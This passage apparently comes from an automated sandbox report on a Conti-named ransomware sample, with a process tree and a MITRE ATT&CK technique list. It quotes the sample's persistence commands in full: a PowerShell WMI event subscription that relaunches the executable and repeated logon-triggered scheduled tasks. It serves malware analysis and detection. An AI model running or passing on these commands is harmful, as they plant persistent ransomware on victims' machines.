    C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
    3⤵
    PID:4208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:14344
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:4752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:11700
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:14812
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:17032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:17172
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:19612
- C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
  2⤵
  PID:19568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
    3⤵
    PID:19788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...